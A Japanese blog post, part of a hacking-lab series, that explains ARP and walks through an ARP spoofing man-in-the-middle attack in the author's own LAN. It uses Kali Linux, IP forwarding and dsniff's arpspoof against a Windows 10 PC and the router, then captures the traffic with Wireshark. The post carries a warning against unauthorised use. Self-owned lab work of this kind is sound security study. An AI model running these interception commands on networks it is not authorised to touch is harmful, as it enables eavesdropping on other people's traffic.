1
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

Kali Linux2022.1 でハッキングラボをつくってみる8 Wiresharkでパケットキャプチャ5 ARPスプーフィング

Last updated at Posted at 2022-05-14

はじめに

「ハッキングラボのつくりかた」p.462-487までを参考にした記事となります。
最初に、MACアドレスやARPについてまとめてあります。必要ない場合は、読み飛ばしてください。他の方の記事やサイト、書籍の方が、情報が充実していて正確だと思います・・・。

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

MACアドレスの復習

MACアドレスの確認コマンド

  • Windows

ipconfig /all

  • Linux

ifconfig または ip addr または ip a
個人的に、最近のディストリビューションでは、ifconfigコマンドよりもipコマンドのほうが推奨されているように思います。ifconfigがデフォルトでインストールされていないものもあるし。

MACアドレスとEthernet

MACアドレスは、OSI参照モデルでのデータリンク層で定義される通信プロトコルEthernetのアドレス。
ローレベルの接続を受け持つ物理的なアドレスで、DHCPサーバーやユーザーによって割り当てられるIPアドレスとは違い、NICに事前に一意に割り当てられている。
ホストには、IPアドレスとMACアドレスを対応させるARPテーブルがあり、IPアドレスをMACアドレスに変換している。対応するMACアドレスが見つからなければ、ネットワーク内にARPリクエストをブロードキャストする。該当するホストが見つかったらARPレスポンスが返される。その対応関係をARPテーブルに追加する。
Ethernetでの通信には、送信元MACアドレス、宛先MACアドレスが必要。Wiresharkで表示されていたのは、厳密には、パケットではなくEthernetのフレームである。
Ethernetフレーム、ARPリクエストはLANを越えることはできない。ルーターで、EthernetフレームからIPパケットを取り出す。そのIPパケットに、ルーターのEthernetヘッダを付加して別のネットワークに送出することで、WANやインターネットとデータをやり取りすることができる。

ARPテーブルの確認

次のコマンドで確認できる。

  • Windows

arp -a
または
arp /a

  • Linux

arp

キャプチャのアプローチのタイプ

パッシブキャプチャ

通信元、通信先の端末で受動的にキャプチャすること。通信を増加させない。
これを利用する条件として、ほぼ完成されたARPテーブルがあり、パケットが本来の宛先にしか送信されず、自分宛て以外のパケットは流れてこないときが挙げられる。
ポートミラーリング(ある接続ポートの通信をコピーして、別の接続ポートに送信する機能)の接続ポートにWiresharkを起動させた端末をつなげておくことで、キャプチャができる。
これを利用することで、不正なパケットをIDSで探知することもできる。

アクティブキャプチャ

監視対象のネットワークに人為的な通信を作り出してキャプチャすること。攻撃的なキャプチャ。通信が不自然に増加する。
そのひとつがARPスプーフィング。

ARPスプーフィング

ARPの仕様を悪用して、ターゲット端末のARPテーブルを書き換える攻撃。
ARPは仕様上、ARPリクエストとARPレスポンスには認証がない。例えば、
端末Aは、自身がARPリクエストを送っていなくても、任意の端末XからのARPレスポンスを受け入れてしまう。
もし、ARPレスポンスに偽のMACアドレス(パケットを盗聴する攻撃者、ここではKaliLiux)を書き込んでおくと、受信する端末Aはそれを信用してARPテーブルを上書きしてしまう。
単に、ARPテーブルを改ざんするだけなら、端末Aからのパケット(フレーム)は、KaliLinuxに流れるだけである。それでは、攻撃される端末Aの利用者に、「インターネットが使えない」と不審に思われる。
次のように3段階にすると、それを回避できる。

  1. ターゲットの端末Aに対して、ARPスプーフィングして、ルーターに届くべきパケットを攻撃端末KaliLinuxに届くようにする。
  2. ルーターに対してARPスプーフィングして、ターゲットの端末Aに届くべきパケットを攻撃端末KaliLinuxに届くようにする。
  3. 攻撃端末KaliLinuxは、ターゲットの端末Aやルーターから届いたパケットを 転送する

要は、Kalilinuxが二者間の通信に割り込んで、パケットをキャプチャする。流れるパケットは双方に転送することでターゲットのユーザーをごまかす。

こういった攻撃を中間者攻撃(MITM attack; Man in the Middle attack)という。

ARPスプーフィングの準備

ARPスプーフィングによるアクティブキャプチャを実験するネットワーク環境を構築する。
同書p480のネットワーク構成とは違うが、ご容赦の程を。実験には支障なし。

  • ターゲット(やられ端末)
    Windows10(物理PC) : 192.168.1.17
  • 攻撃
    KaliLinux : 192.168.1.100(ブリッジアダプター3) 必須

KaliLinuxにNATやホストオンリアダプタをつないでも良いが、どのネットワークを経由してパケットが行き来しているかわからなくなるなど、混乱のもととなるので、注意する。
私の環境では、KaliLinuxのネットワーク環境を、以下の条件で、すでに設定してある。

/etc/network/interfaces
source /etc/network/interfaces.d/*

#The loopback network interface
auto lo
iface lo inet loopback
#eth0
allow-hotplug eth0
iface eth0 inet static
address 192.168.56.2
netmask 255.255.255.0
#eth1
allow-hotplug eth1
iface eth1 inet dhcp
#eth2
allow-hotplug eth2
iface eth2 inet static
address 192.168.1.100
netmask 255.255.255.0
/etc/resolv.conf
nameserver 10.0.3.3

しかし、この設定のままで、VirtualBox側でアダプタ1,2をオフにしたり、アダプタ1に「ブリッジアダプター」を割り当てても、ネットワークには通じない。

解決法
設定ファイル"/etc/network/interfaces"に"gateway 192.168.1.1"を追記する。

/etc/network/interfaces
(略) 
最後に追記する
gateway 192.168.1.1

次に、nameserverが10.0.3.3を指定しているから、設定ファイル"/etc/resolv.conf"を別の任意のDNSのアドレスに書き換える。この設定の変更は、Kaliを再起動したらデフォルトに戻ることに注意。
GoogleのDNSサービス8.8.8.8に指定する。

/etc/resolv.conf
#nameserver 10.0.3.3
nameserver 8.8.8.8

次のコマンド

sudo ifdown eth0
sudo ifdown eth1
sudo systemctl restart networking
sudo ifup eth2

を実行することで、ブリッジアダプターの接続のみでネットワークにつなげるようにした。

同書p.487のコラムには、次のような対処法が掲載されている。どちらかお好きな方法で・・・。

仮想マシンのネットワーク設定にて、仮想LANアダプターの割当を変更しても、ゲストOSでIPアドレスを確認すると正しいIPアドレスが割り当てられていないことがあります。
(中略)
こういったときには、dnclientコマンドでDHCPから動的IPアドレスを再取得してください。

dhclient -r eth0
dhclient eth0

攻撃側のKaliLinuxの仮想マシンをシャットダウンした状態で、VirtualBoxの仮想マシン「KaliLinux」の「設定」ウィンドウを立ち上げる。メニューの「ネットワーク」からアダプター1を「ブリッジアダプター」に設定して、「プロミスキャス・モード」を「全て許可」にする。
Screenshot_20220514_150104.png

  1. kaliLinuxのIPアドレスとルータ、インターネットへの接続を確認する。
ip adress 
ping -c 3 192.168.1.1
ping -c 3 8.8.8.8

VirtualBox_kali-linux-2022.1-ipaddress.png

2 . ターゲットWindows10のARPテーブルを確認する。
powershellかコマンドプロンプトをたちあげて、次のコマンドを実行する。

arp -a

3 . KaliLinuxのMACアドレスとIPアドレスの確認、route -nでルーター(ゲートウェイ)のIPアドレスも確認。

ip addr show eth2
route -n

VirtualBox_kali-linux-2022.1-ipaddress_eth2.png
IPアドレスは192.168.1.100、MACアドレスは、08:00:27:86:50:a3である。

4 .KaliLinuxのIP転送機能を有効にする

sudo su -
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
//1と出力されたらOK
exit
//rootから抜ける

5 .ARPスプーフィングのパッケージをインストール

sudo apt install dsniff

6 .Windows10にWiresharkをインストールしてキャプチャを開始する。
インストール方法はWireshark公式サイトなどを参考にしてください。

ARPスプーフィングの実行

ARPスプーフィングを行う。

コマンドでターゲット端末に偽の情報を送る。

arpspoof -i eth2 -t 192.168.1.17 192.168.1.1

書式は次のようなる。

  • -i : KaliLinuxで利用するインターフェースを指定
  • -t : <ターゲットのIPアドレス> <書き換えたいIPアドレス> 2つの引数を指定。書き換えたいIPアドレスは、ルーターのIPアドレスにする。

Windows10を確認すると、arp -aコマンドの実行で、ルーター(192.168.1.1)のMACアドレス(物理アドレス)が変わったことを確認できた。00:08から始まるMACアドレスは、KaliLinuxのものである。
2022-05-14.png
2022-05-14 (1).png

今度は、ルーターに対して偽の情報を送る。KaliLinuxで別に端末を起動し、次のコマンドを実行する。

sudo arpspoof -i eth2 -t 192.168.1.1 192.168.1.17

-tオプションの、ターゲットのIPアドレスと書き換えたいIPアドレスを先ほどと逆にする。

wiresharkを起動させて、キャプチャを行う。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_14_05_2022_17_24_32.png

arpspoofコマンドは、Ctrl+Cを押下して終了。終了時には、正常なARPレスポンスが送られるので、Windows10を確認すると、正常なMACアドレスに戻っている。

おわりに

ネットワークの設定に手間取りました・・・。
次回は、中間者攻撃のフレームワークMITMfの導入、実験に挑戦しようと思っています。
ですが、このMITMf、さまざまなネット情報や私自身がいままで挑戦した経験にだと、新しいKaliLinux2022.1上で(というより、KaliLinux2018.x以降で)使用することが、難しい状態です(更新されていないため)。また、MITMfの次に同書で紹介されているBeEFを使った攻撃も、MITMfがないと使用できないのです。
うまくMITMf,BeEfが導入できない場合、この2つは先延ばしにして、無線LANのハッキングの実験を行います。ご了承ください。

「ハッキング・ラボのつくりかた」(IPUSIRON)
「図解でわかるネットワークのすべて」(小泉修)

1
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?